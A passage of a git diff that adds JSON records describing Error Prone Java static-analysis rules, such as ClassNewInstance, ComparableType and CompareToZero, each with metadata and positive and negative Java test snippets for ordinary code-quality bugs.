{ + "description": "negativeIsPublic", + "expected-problems": null, + "expected-linenumbers": [ + 167 + ], + "code": "package b;\n\n // BUG: Diagnostic contains: should be declared in a file named Test.java\n public class Test {}" + }, + { + "description": "suppression", + "expected-problems": null, + "expected-linenumbers": [ + 182 + ], + "code": "package b;\n\n @SuppressWarnings(\"ClassName\")\n class Green {}" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ClassNamedLikeTypeParameter.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ClassNamedLikeTypeParameter.json new file mode 100644 index 0000000..ef2b779 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ClassNamedLikeTypeParameter.json @@ -0,0 +1,30 @@ +{ + "name": "ClassNamedLikeTypeParameter", + "language": "java", + "description": "This class's name looks like a Type Parameter.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 39, + "branches": 2, + "apis": 1, + "test": [ + { + "description": "positiveCases", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "public class Test {\n // BUG: Diagnostic contains:\n static class A {}\n\n // BUG: Diagnostic contains:\n static class B2 {}\n\n // BUG: Diagnostic contains:\n static class FooT {}\n\n // BUG: Diagnostic contains:\n static class X {}\n }" + }, + { + "description": "negativeCases", + "expected-problems": null, + "expected-linenumbers": [ + 54 + ], + "code": "public class Test {\n static class CAPITALT {}\n\n static class MyClass {}\n\n static class FooBar {}\n\n static class HasGeneric {\n public void genericMethod(X foo, T bar) {}\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ClassNewInstance.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ClassNewInstance.json new file mode 100644 index 0000000..1efc4a8 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ClassNewInstance.json @@ -0,0 +1,174 @@ +{ + "name": "ClassNewInstance", + "language": "java", + "description": "Class.newInstance() bypasses exception checking; prefer getDeclaredConstructor().newInstance()", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 232, + "branches": 57, + "apis": 5, + "test": [ + { + "description": "differentHandles", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "class Test {\n void f() {\n try {\n getClass().newInstance();\n } catch (InstantiationException e1) {\n e1.printStackTrace();\n } catch (IllegalAccessException e2) {\n e2.printStackTrace();\n }\n }\n }\n \n\n class Test {\n void f() {\n try {\n getClass().getDeclaredConstructor().newInstance();\n } catch (InstantiationException e1) {\n e1.printStackTrace();\n } catch (IllegalAccessException e2) {\n e2.printStackTrace();\n } catch (ReflectiveOperationException e2) {\n throw new LinkageError(e2.getMessage(), e2);\n }\n }\n }" + }, + { + "description": "existingRoeCase", + "expected-problems": null, + "expected-linenumbers": [ + 69 + ], + "code": "class Test {\n void f() {\n try {\n getClass().newInstance();\n } catch (InstantiationException e) {\n } catch (ReflectiveOperationException e) {\n // \\u00af\\\\_(\\u30c4)_/\\u00af\n }\n }\n }\n \n\n class Test {\n void f() {\n try {\n getClass().getDeclaredConstructor().newInstance();\n } catch (InstantiationException e) {\n } catch (ReflectiveOperationException e) {\n // \\u00af\\\\_(\\u30c4)_/\\u00af\n }\n }\n }" + }, + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 103 + ], + "code": "class Test {\n void f() {\n try {\n getClass().newInstance();\n } catch (InstantiationException e) {\n e.printStackTrace();\n } catch (IllegalAccessException e) {\n e.printStackTrace();\n }\n }\n }\n \n\n class Test {\n void f() {\n try {\n getClass().getDeclaredConstructor().newInstance();\n } catch (ReflectiveOperationException e) {\n e.printStackTrace();\n }\n }\n }" + }, + { + "description": "positiveUnion", + "expected-problems": null, + "expected-linenumbers": [ + 137 + ], + "code": "class Test {\n void f() {\n try {\n getClass().newInstance();\n } catch (InstantiationException | IllegalAccessException e0) {\n e0.printStackTrace();\n }\n }\n }\n \n\n class Test {\n void f() {\n try {\n getClass().getDeclaredConstructor().newInstance();\n } catch (ReflectiveOperationException e0) {\n e0.printStackTrace();\n }\n }\n }" + }, + { + "description": "positiveROE", + "expected-problems": null, + "expected-linenumbers": [ + 169 + ], + "code": "class Test {\n void f() {\n try {\n getClass().newInstance();\n } catch (ReflectiveOperationException e) {\n e.printStackTrace();\n }\n }\n }\n \n\n class Test {\n void f() {\n try {\n getClass().getDeclaredConstructor().newInstance();\n } catch (ReflectiveOperationException e) {\n e.printStackTrace();\n }\n }\n }" + }, + { + "description": "throwsException", + "expected-problems": null, + "expected-linenumbers": [ + 201 + ], + "code": "class Test {\n void f() throws Exception {\n getClass().newInstance();\n }\n }\n \n\n class Test {\n void f() throws Exception {\n getClass().getDeclaredConstructor().newInstance();\n }\n }" + }, + { + "description": "throwsROE", + "expected-problems": null, + "expected-linenumbers": [ + 225 + ], + "code": "class Test {\n void f() throws ReflectiveOperationException {\n getClass().newInstance();\n }\n }\n \n\n class Test {\n void f() throws ReflectiveOperationException {\n getClass().getDeclaredConstructor().newInstance();\n }\n }" + }, + { + "description": "throwsIndividual", + "expected-problems": null, + "expected-linenumbers": [ + 249 + ], + "code": "class Test {\n void f() throws InstantiationException, IllegalAccessException {\n getClass().newInstance();\n }\n }\n \n\n import java.lang.reflect.InvocationTargetException;\n\n class Test {\n void f()\n throws InstantiationException,\n IllegalAccessException,\n InvocationTargetException,\n NoSuchMethodException {\n getClass().getDeclaredConstructor().newInstance();\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 279 + ], + "code": "class Test {\n void f() throws Exception {\n getClass().getDeclaredConstructor().newInstance();\n }\n }" + }, + { + "description": "catchesDoesntThrow", + "expected-problems": null, + "expected-linenumbers": [ + 295 + ], + "code": "import java.io.IOException;\n\n class Test {\n void f() throws IOException {\n try {\n getClass().newInstance();\n } catch (ReflectiveOperationException e) {\n }\n }\n }\n \n\n import java.io.IOException;\n\n class Test {\n void f() throws IOException {\n try {\n getClass().getDeclaredConstructor().newInstance();\n } catch (ReflectiveOperationException e) {\n }\n }\n }" + }, + { + "description": "negativeThrows", + "expected-problems": null, + "expected-linenumbers": [ + 329 + ], + "code": "class Test {\n void f() throws Exception {\n getClass().getDeclaredConstructor().newInstance();\n }\n }" + }, + { + "description": "mergeWhitespace", + "expected-problems": null, + "expected-linenumbers": [ + 345 + ], + "code": "class Test {\n void f() {\n try {\n getClass().newInstance();\n } catch (InstantiationException e) {\n // uh oh\n } catch (IllegalAccessException e) {\n // uh oh\n }\n }\n }\n \n\n class Test {\n void f() {\n try {\n getClass().getDeclaredConstructor().newInstance();\n } catch (ReflectiveOperationException e) {\n // uh oh\n }\n }\n }" + }, + { + "description": "overlap", + "expected-problems": null, + "expected-linenumbers": [ + 379 + ], + "code": "class Test {\n void f() throws Exception {\n getClass().newInstance().getClass().newInstance();\n }\n }\n \n\n class Test {\n void f() throws Exception {\n getClass()\n .getDeclaredConstructor()\n .newInstance()\n .getClass()\n .getDeclaredConstructor()\n .newInstance();\n }\n }" + }, + { + "description": "inCatch", + "expected-problems": null, + "expected-linenumbers": [ + 408 + ], + "code": "class Test {\n void f() throws Exception {\n try {\n getClass().newInstance();\n } catch (InstantiationException e) {\n getClass().newInstance();\n }\n }\n }\n \n\n class Test {\n void f() throws Exception {\n try {\n getClass().getDeclaredConstructor().newInstance();\n } catch (ReflectiveOperationException e) {\n getClass().getDeclaredConstructor().newInstance();\n }\n }\n }" + }, + { + "description": "withFinally", + "expected-problems": null, + "expected-linenumbers": [ + 440 + ], + "code": "class Test {\n void f() throws Exception {\n try {\n getClass().newInstance();\n } finally {\n }\n }\n }\n \n\n class Test {\n void f() throws Exception {\n try {\n getClass().getDeclaredConstructor().newInstance();\n } finally {\n }\n }\n }" + }, + { + "description": "inCatchRepeated", + "expected-problems": null, + "expected-linenumbers": [ + 470 + ], + "code": "class Test {\n void f() throws InstantiationException, IllegalAccessException {\n try {\n getClass().newInstance();\n } catch (InstantiationException e) {\n getClass().newInstance();\n } catch (IllegalAccessException e) {\n getClass().newInstance();\n }\n }\n }\n \n\n import java.lang.reflect.InvocationTargetException;\n\n class Test {\n void f()\n throws InstantiationException,\n IllegalAccessException,\n InvocationTargetException,\n NoSuchMethodException {\n try {\n getClass().getDeclaredConstructor().newInstance();\n } catch (InstantiationException e) {\n getClass().getDeclaredConstructor().newInstance();\n } catch (ReflectiveOperationException e) {\n getClass().getDeclaredConstructor().newInstance();\n }\n }\n }" + }, + { + "description": "additionalCatchClause", + "expected-problems": null, + "expected-linenumbers": [ + 512 + ], + "code": "class Test {\n Object f() {\n try {\n return getClass().newInstance();\n } catch (InstantiationException ex) {\n // Suppress exception.\n } catch (IllegalAccessException ex) {\n // Suppress exception.\n } catch (ExceptionInInitializerError ex) {\n // Suppress exception.\n } catch (SecurityException ex) {\n // Suppress exception.\n }\n return null;\n }\n }\n \n\n class Test {\n Object f() {\n try {\n return getClass().getDeclaredConstructor().newInstance();\n } catch (ReflectiveOperationException ex) {\n // Suppress exception.\n } catch (ExceptionInInitializerError ex) {\n // Suppress exception.\n } catch (SecurityException ex) {\n // Suppress exception.\n }\n return null;\n }\n }" + }, + { + "description": "catchAndThrows", + "expected-problems": null, + "expected-linenumbers": [ + 556 + ], + "code": "class Test {\n Object f() throws InstantiationException, IllegalAccessException {\n try {\n return getClass().newInstance();\n } catch (ReflectiveOperationException ex) {\n return getClass().newInstance();\n }\n }\n }\n \n\n import java.lang.reflect.InvocationTargetException;\n\n class Test {\n Object f()\n throws InstantiationException,\n IllegalAccessException,\n InvocationTargetException,\n NoSuchMethodException {\n try {\n return getClass().getDeclaredConstructor().newInstance();\n } catch (ReflectiveOperationException ex) {\n return getClass().getDeclaredConstructor().newInstance();\n }\n }\n }" + }, + { + "description": "mixedMulticatch", + "expected-problems": null, + "expected-linenumbers": [ + 594 + ], + "code": "class Test {\n void f() {\n try {\n getClass().newInstance();\n } catch (InstantiationException e) {\n // InstantiationException\n } catch (IllegalAccessException | NullPointerException e) {\n throw new AssertionError(e);\n }\n }\n }\n \n\n class Test {\n void f() {\n try {\n getClass().getDeclaredConstructor().newInstance();\n } catch (InstantiationException e) {\n // InstantiationException\n } catch (ReflectiveOperationException | NullPointerException e) {\n throw new AssertionError(e);\n }\n }\n }" + }, + { + "description": "freshVar", + "expected-problems": null, + "expected-linenumbers": [ + 630 + ], + "code": "class Test {\n void f(Exception e) {\n try {\n getClass().newInstance();\n } catch (InstantiationException e1) {\n // one\n } catch (IllegalAccessException e1) {\n // two\n }\n }\n }\n \n\n class Test {\n void f(Exception e) {\n try {\n getClass().getDeclaredConstructor().newInstance();\n } catch (InstantiationException e1) {\n // one\n } catch (IllegalAccessException e1) {\n // two\n } catch (ReflectiveOperationException e1) {\n throw new LinkageError(e1.getMessage(), e1);\n }\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ClosingStandardOutputStreams.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ClosingStandardOutputStreams.json new file mode 100644 index 0000000..0a4ab01 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ClosingStandardOutputStreams.json @@ -0,0 +1,30 @@ +{ + "name": "ClosingStandardOutputStreams", + "language": "java", + "description": "Don't use try-with-resources to manage standard output streams, closing the stream will cause subsequent output to standard output or standard error to be lost", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 56, + "branches": 3, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 29 + ], + "code": "import java.io.OutputStreamWriter;\n import java.io.PrintWriter;\n\n class Test {\n void f() {\n // BUG: Diagnostic contains:\n try (PrintWriter pw = new PrintWriter(new OutputStreamWriter(System.err), true)) {\n pw.println(\"hello\");\n }\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 50 + ], + "code": "import java.io.OutputStreamWriter;\n import java.io.PrintWriter;\n\n class Test {\n void f(OutputStreamWriter os) {\n System.err.println(42);\n try (PrintWriter pw = new PrintWriter(os, true)) {\n pw.println(\"hello\");\n }\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CollectionToArraySafeParameter.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CollectionToArraySafeParameter.json new file mode 100644 index 0000000..d9e77fb --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CollectionToArraySafeParameter.json @@ -0,0 +1,38 @@ +{ + "name": "CollectionToArraySafeParameter", + "language": "java", + "description": "The type of the array parameter of Collection.toArray needs to be compatible with the array type", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 73, + "branches": 4, + "apis": 1, + "test": [ + { + "description": "positiveCases", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import java.util.ArrayList;\n import java.util.Collection;\n import java.util.HashSet;\n import java.util.Set;\n\n /**\n * @author mariasam@google.com (Maria Sam) on 6/27/17.\n */\n public class CollectionToArraySafeParameterPositiveCases {\n\n private static void basicCase() {\n Collection collection = new ArrayList();\n // BUG: Diagnostic contains: array parameter\n Integer[] intArray = collection.toArray(new Integer[collection.size()]);\n\n Integer[] arrayOfInts = new Integer[10];\n // BUG: Diagnostic contains: array parameter\n Integer[] wrongArray = collection.toArray(arrayOfInts);\n\n Set integerSet = new HashSet();\n // BUG: Diagnostic contains: array parameter\n Long[] longArray = integerSet.toArray(new Long[10]);\n\n Set longSet = new HashSet();\n // BUG: Diagnostic contains: array parameter\n Integer[] integerArray = longSet.toArray(new Integer[10]);\n }\n\n void test(Foo foo) {\n // BUG: Diagnostic contains: array parameter\n String[] things = foo.toArray(new String[] {});\n }\n\n void test(FooBar foo) {\n // BUG: Diagnostic contains: array parameter\n Integer[] things = foo.toArray(new Integer[] {});\n }\n\n class FooBar extends HashSet {}\n\n class Foo extends HashSet {}\n }\\" + }, + { + "description": "negativeCases", + "expected-problems": null, + "expected-linenumbers": [ + 85 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport java.util.ArrayList;\nimport java.util.Collection;\nimport java.util.HashSet;\n\n/**\n * @author mariasam@google.com (Maria Sam) on 6/27/17.\n */\npublic class CollectionToArraySafeParameterNegativeCases {\n\n private void basicCase() {\n Collection collection = new ArrayList();\n Collection collInts = new ArrayList();\n\n Object[] intArrayActualNoParam = collInts.toArray();\n Integer[] intArrayActual = collInts.toArray(new Integer[collection.size()]);\n\n Collection collectionObjects = new ArrayList<>();\n Integer[] intArrayObjects = collectionObjects.toArray(new Integer[collectionObjects.size()]);\n\n Integer[] arrayOfInts = new Integer[10];\n Integer[] otherArray = collInts.toArray(arrayOfInts);\n\n Collection> collectionOfCollection = new ArrayList>();\n Collection[] collectionOfCollectionArray =\n collectionOfCollection.toArray(new ArrayList[10]);\n\n SomeObject someObject = new SomeObject();\n Integer[] someObjectArray = someObject.toArray(new Integer[1]);\n\n // test to make sure that when the collection has no explicit type there is no error thrown\n // when \"toArray\" is called.\n Collection someObjects = new ArrayList();\n Object[] intArray = someObjects.toArray(new Integer[1]);\n }\n\n class FooBar extends HashSet {}\n\n void testFooBar(FooBar fooBar) {\n Integer[] things = fooBar.toArray(new Integer[] {});\n }\n\n class Foo extends HashSet {}\n\n void test(Foo foo) {\n String[] things = foo.toArray(new String[] {});\n }\n\n class SomeObject {\n Integer[] toArray(Integer[] someArray) {\n return new Integer[10];\n }\n }\n}\\" + }, + { + "description": "b67022899", + "expected-problems": null, + "expected-linenumbers": [ + 151 + ], + "code": "import java.util.Collection;\n\n class Test {\n > void f(C cx) {\n cx.toArray(new Integer[0]);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CollectorShouldNotUseState.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CollectorShouldNotUseState.json new file mode 100644 index 0000000..5ad7e5a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CollectorShouldNotUseState.json @@ -0,0 +1,30 @@ +{ + "name": "CollectorShouldNotUseState", + "language": "java", + "description": "Collector.of() should not use state", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 70, + "branches": 4, + "apis": 2, + "test": [ + { + "description": "positiveCases", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import com.google.common.collect.ImmutableList;\n import com.google.common.collect.ImmutableList.Builder;\n import java.util.function.BiConsumer;\n import java.util.stream.Collector;\n\n /**\n * @author sulku@google.com (Marsela Sulku)\n */\n public class CollectorShouldNotUseStatePositiveCases {\n public void test() {\n // BUG: Diagnostic contains: Collector.of() should not use state\n Collector.of(\n ImmutableList::builder,\n new BiConsumer, Object>() {\n\n boolean isFirst = true;\n private static final String bob = \"bob\";\n\n @Override\n public void accept(Builder objectBuilder, Object o) {\n if (isFirst) {\n System.out.println(\"it's first\");\n } else {\n objectBuilder.add(o);\n }\n }\n },\n (left, right) -> left.addAll(right.build()),\n ImmutableList.Builder::build);\n\n // BUG: Diagnostic contains: Collector.of() should not use state\n Collector.of(\n ImmutableList::builder,\n new BiConsumer, Object>() {\n\n boolean isFirst = true;\n private final String bob = \"bob\";\n private final String joe = \"joe\";\n\n @Override\n public void accept(Builder objectBuilder, Object o) {\n if (isFirst) {\n System.out.println(\"it's first\");\n } else {\n objectBuilder.add(o);\n }\n }\n },\n (left, right) -> left.addAll(right.build()),\n ImmutableList.Builder::build);\n }\n }\\" + }, + { + "description": "negativeCases", + "expected-problems": null, + "expected-linenumbers": [ + 95 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import com.google.common.collect.ImmutableList;\n import com.google.common.collect.ImmutableList.Builder;\n import java.util.function.BiConsumer;\n import java.util.stream.Collector;\n\n /**\n * @author sulku@google.com (Marsela Sulku)\n */\n public class CollectorShouldNotUseStateNegativeCases {\n public void test() {\n Collector.of(\n ImmutableList::builder,\n new BiConsumer, Object>() {\n private static final String bob = \"bob\";\n\n @Override\n public void accept(Builder objectBuilder, Object o) {\n if (bob.equals(\"bob\")) {\n System.out.println(\"bob\");\n } else {\n objectBuilder.add(o);\n }\n }\n },\n (left, right) -> left.addAll(right.build()),\n ImmutableList.Builder::build);\n }\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ComparableAndComparator.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ComparableAndComparator.json new file mode 100644 index 0000000..aa4daa8 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ComparableAndComparator.json @@ -0,0 +1,30 @@ +{ + "name": "ComparableAndComparator", + "language": "java", + "description": "Class should not implement both `Comparable` and `Comparator`", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 71, + "branches": 9, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 32 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import java.util.Comparator;\n\n /**\n * @author sulku@google.com (Marsela Sulku)\n * @author mariasam@google.com (Maria Sam)\n */\n public class ComparableAndComparatorPositiveCases {\n\n /** implements both interfaces */\n // BUG: Diagnostic contains: Class should not implement both\n public static class BadClass implements Comparable, Comparator {\n @Override\n public int compareTo(BadClass comparableNode) {\n return 0;\n }\n\n @Override\n public int compare(BadClass a, BadClass b) {\n return 0;\n }\n }\n\n /** Superclass test class */\n public static class SuperClass implements Comparator {\n @Override\n public int compare(SuperClass o1, SuperClass o2) {\n return 0;\n }\n }\n\n /** SubClass test class */\n // BUG: Diagnostic contains: Class should not implement both\n public static class SubClass extends SuperClass implements Comparable {\n @Override\n public int compareTo(SubClass o) {\n return 0;\n }\n }\n }\\" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 83 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport java.util.Comparator;\n\n/** Created by mariasam on 6/5/17. */\npublic class ComparableAndComparatorNegativeCases {\n\n /** Class that implements comparable, but also defines a comparator */\n public static class ComparableAndComparatorNested\n implements Comparable {\n\n /** Comparator */\n private static final Comparator myComparator =\n new Comparator() {\n\n @Override\n public int compare(ComparableAndComparatorNested o1, ComparableAndComparatorNested o2) {\n return 0;\n }\n };\n\n @Override\n public int compareTo(ComparableAndComparatorNested o) {\n return 0;\n }\n }\n\n /** class that only implements comparable */\n public static class OnlyComparable implements Comparable {\n\n @Override\n public int compareTo(OnlyComparable o) {\n return 0;\n }\n }\n\n /** class that only implements comparator */\n public static class OnlyComparator implements Comparator {\n @Override\n public int compare(OnlyComparator o1, OnlyComparator o2) {\n return 0;\n }\n }\n\n /** This test case is here to increase readability */\n // BUG: Diagnostic contains: Class should not implement both\n public static class BadClass implements Comparable, Comparator {\n @Override\n public int compareTo(BadClass comparableNode) {\n return 0;\n }\n\n @Override\n public int compare(BadClass a, BadClass b) {\n return 0;\n }\n }\n\n /** Subclass should not cause error */\n public static class BadClassSubclass extends BadClass {\n public int sampleMethod() {\n return 0;\n }\n }\n\n /** Enums implementing comparator are ok */\n enum TestEnum implements Comparator {\n MONDAY,\n TUESDAY,\n WEDNESDAY;\n\n @Override\n public int compare(Integer one, Integer two) {\n return 0;\n }\n }\n}\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ComparableType.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ComparableType.json new file mode 100644 index 0000000..9d03702 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ComparableType.json @@ -0,0 +1,30 @@ +{ + "name": "ComparableType", + "language": "java", + "description": "Implementing 'Comparable' where T is not the same as the implementing class is incorrect, since it violates the symmetry contract of compareTo.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 65, + "branches": 3, + "apis": 2, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 29 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport java.io.Serializable;\nimport java.util.Comparator;\n\npublic class ComparableTypePositiveCases {\n\n // BUG: Diagnostic contains: [ComparableType]\n public static class CompareClass implements Comparable {\n\n @Override\n public int compareTo(Integer o) {\n return 0;\n }\n }\n\n // BUG: Diagnostic contains: [ComparableType]\n public static class SerializableComparable implements Serializable, Comparable {\n\n @Override\n public int compareTo(Long o) {\n return 0;\n }\n }\n\n // BUG: Diagnostic contains: [ComparableType]\n public static class ComparableSerializable implements Comparable, Serializable {\n\n @Override\n public int compareTo(Long o) {\n return 0;\n }\n }\n\n // BUG: Diagnostic contains: [ComparableType]\n public static class BadClass implements Comparable, Comparator {\n\n @Override\n public int compareTo(Double o) {\n return 0;\n }\n\n @Override\n public int compare(Double o1, Double o2) {\n return 0;\n }\n }\n\n // BUG: Diagnostic contains: [ComparableType]\n public static class AnotherBadClass implements Comparator, Comparable {\n\n @Override\n public int compareTo(Double o) {\n return 0;\n }\n\n @Override\n public int compare(Double o1, Double o2) {\n return 0;\n }\n }\n\n public static class A {}\n\n public static class B extends A {}\n\n // BUG: Diagnostic contains: [ComparableType]\n public static class C extends A implements Comparable {\n\n @Override\n public int compareTo(B o) {\n return 0;\n }\n }\n\n interface Foo {}\n\n // BUG: Diagnostic contains: [ComparableType]\n static final class Open implements Comparable {\n @Override\n public int compareTo(Foo o) {\n return 0;\n }\n }\n\n // BUG: Diagnostic contains: [ComparableType]\n public abstract static class AClass implements Comparable {}\n\n public static class BClass extends AClass {\n @Override\n public int compareTo(Integer o) {\n return 0;\n }\n }\n\n // found via flume\n public static class SpendXGetYValues {\n public Comparable yToXRatio() {\n // BUG: Diagnostic contains: [ComparableType]\n return new Comparable() {\n @Override\n public int compareTo(SpendXGetYValues other) {\n return 0;\n }\n };\n }\n }\n\n // BUG: Diagnostic contains: [ComparableType]\n public abstract static class One implements Comparable {}\n\n public static class Two extends One {\n @Override\n public int compareTo(Integer o) {\n return 0;\n }\n }\n}\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 157 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport java.io.Serializable;\nimport java.util.Comparator;\n\npublic class ComparableTypeNegativeCases {\n\n /** Class that implements comparable, with castable type */\n public static class ComparableTypeNegative implements Comparable {\n\n @Override\n public int compareTo(ComparableTypeNegative o) {\n return 0;\n }\n }\n\n /** abstract class that implements comparable */\n public abstract static class OnlyComparable implements Comparable {}\n\n /** class that implements comparable and something else like Serializable */\n public static class SerializableComparable\n implements Serializable, Comparable {\n\n @Override\n public int compareTo(SerializableComparable o) {\n return 0;\n }\n }\n\n /** class that implements comparable and something else with a type */\n public static class SomeClass implements Comparable, Comparator {\n @Override\n public int compareTo(SomeClass comparableNode) {\n return 0;\n }\n\n @Override\n public int compare(SomeClass a, SomeClass b) {\n return 0;\n }\n }\n\n // Example interfaces\n interface Door {}\n\n public static class HalfOpen implements Door {}\n\n // BUG: Diagnostic contains: [ComparableType]\n static final class Open extends HalfOpen implements Comparable {\n @Override\n public int compareTo(Door o) {\n return 0;\n }\n }\n\n public static class A {}\n\n // BUG: Diagnostic contains: [ComparableType]\n public static class B extends A implements Comparable {\n\n @Override\n public int compareTo(A o) {\n return 0;\n }\n }\n\n // ignore enums\n enum Location {\n TEST_TARGET\n }\n\n public abstract static class AClass implements Comparable {}\n\n public static class BClass extends AClass {\n @Override\n public int compareTo(AClass o) {\n return 0;\n }\n }\n\n abstract class Foo implements Comparable> {}\n\n class T extends Foo {\n public int compareTo(Foo o) {\n return 0;\n }\n }\n\n // BUG: Diagnostic contains: [ComparableType]\n static final class XGram implements Comparable {\n\n @Override\n public int compareTo(Object o) {\n return 0;\n }\n }\n}\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CompareToZero.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CompareToZero.json new file mode 100644 index 0000000..171f300 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CompareToZero.json @@ -0,0 +1,78 @@ +{ + "name": "CompareToZero", + "language": "java", + "description": "The result of #compareTo or #compare should only be compared to 0. It is an implementation detail whether a given type returns strictly the values {-1, 0, +1} or others.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 186, + "branches": 16, + "apis": 2, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "class Test {\n boolean test(Integer i) {\n // BUG: Diagnostic contains: compared\n return i.compareTo(2) == -1;\n }\n }" + }, + { + "description": "positiveStaticCompare", + "expected-problems": null, + "expected-linenumbers": [ + 49 + ], + "code": "class Test {\n boolean test(boolean x, boolean y) {\n // BUG: Diagnostic contains: compared\n return Boolean.compare(x, y) == -1;\n }\n }" + }, + { + "description": "positiveSuggestionForConsistency", + "expected-problems": null, + "expected-linenumbers": [ + 65 + ], + "code": "class Test {\n boolean test(Integer i) {\n // BUG: Diagnostic contains: consistency\n return i.compareTo(2) <= -1;\n }\n }" + }, + { + "description": "positive_gte1_has_1_finding", + "expected-problems": null, + "expected-linenumbers": [ + 81 + ], + "code": "class Test {\n boolean test(Integer i) {\n // BUG: Diagnostic matches: KEY\n return i.compareTo(2) >= 1;\n }\n }" + }, + { + "description": "positiveAddition", + "expected-problems": null, + "expected-linenumbers": [ + 99 + ], + "code": "class Test {\n int test(Integer i) {\n // BUG: Diagnostic contains:\n return i.compareTo(2) + i.compareTo(3);\n }\n }" + }, + { + "description": "stringConcat_ignored", + "expected-problems": null, + "expected-linenumbers": [ + 115 + ], + "code": "class Test {\n String test(Integer i) {\n return \"\" + i.compareTo(3);\n }\n }" + }, + { + "description": "refactoring", + "expected-problems": null, + "expected-linenumbers": [ + 130 + ], + "code": "class Test {\n void test(Integer i) {\n boolean b1 = i.compareTo(2) == -1;\n boolean b2 = i.compareTo(2) > -1;\n boolean b3 = -1 < i.compareTo(2);\n boolean b4 = i.compareTo(2) < 1;\n boolean b5 = i.compareTo(2) != -1;\n boolean b6 = i.compareTo(2) != 1;\n boolean b7 = i.compareTo(2) <= -1;\n boolean b8 = ((i.compareTo(2))) >= 1;\n }\n }\n \n\n class Test {\n void test(Integer i) {\n boolean b1 = i.compareTo(2) < 0;\n boolean b2 = i.compareTo(2) >= 0;\n boolean b3 = i.compareTo(2) >= 0;\n boolean b4 = i.compareTo(2) <= 0;\n boolean b5 = i.compareTo(2) >= 0;\n boolean b6 = i.compareTo(2) <= 0;\n boolean b7 = i.compareTo(2) < 0;\n boolean b8 = ((i.compareTo(2))) > 0;\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 168 + ], + "code": "class Test {\n void test(Integer i) {\n boolean b1 = i.compareTo(2) < 0;\n boolean b2 = i.compareTo(2) > 0;\n boolean b3 = i.compareTo(2) == 0;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ComparingThisWithNull.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ComparingThisWithNull.json new file mode 100644 index 0000000..34dfc5f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ComparingThisWithNull.json @@ -0,0 +1,78 @@ +{ + 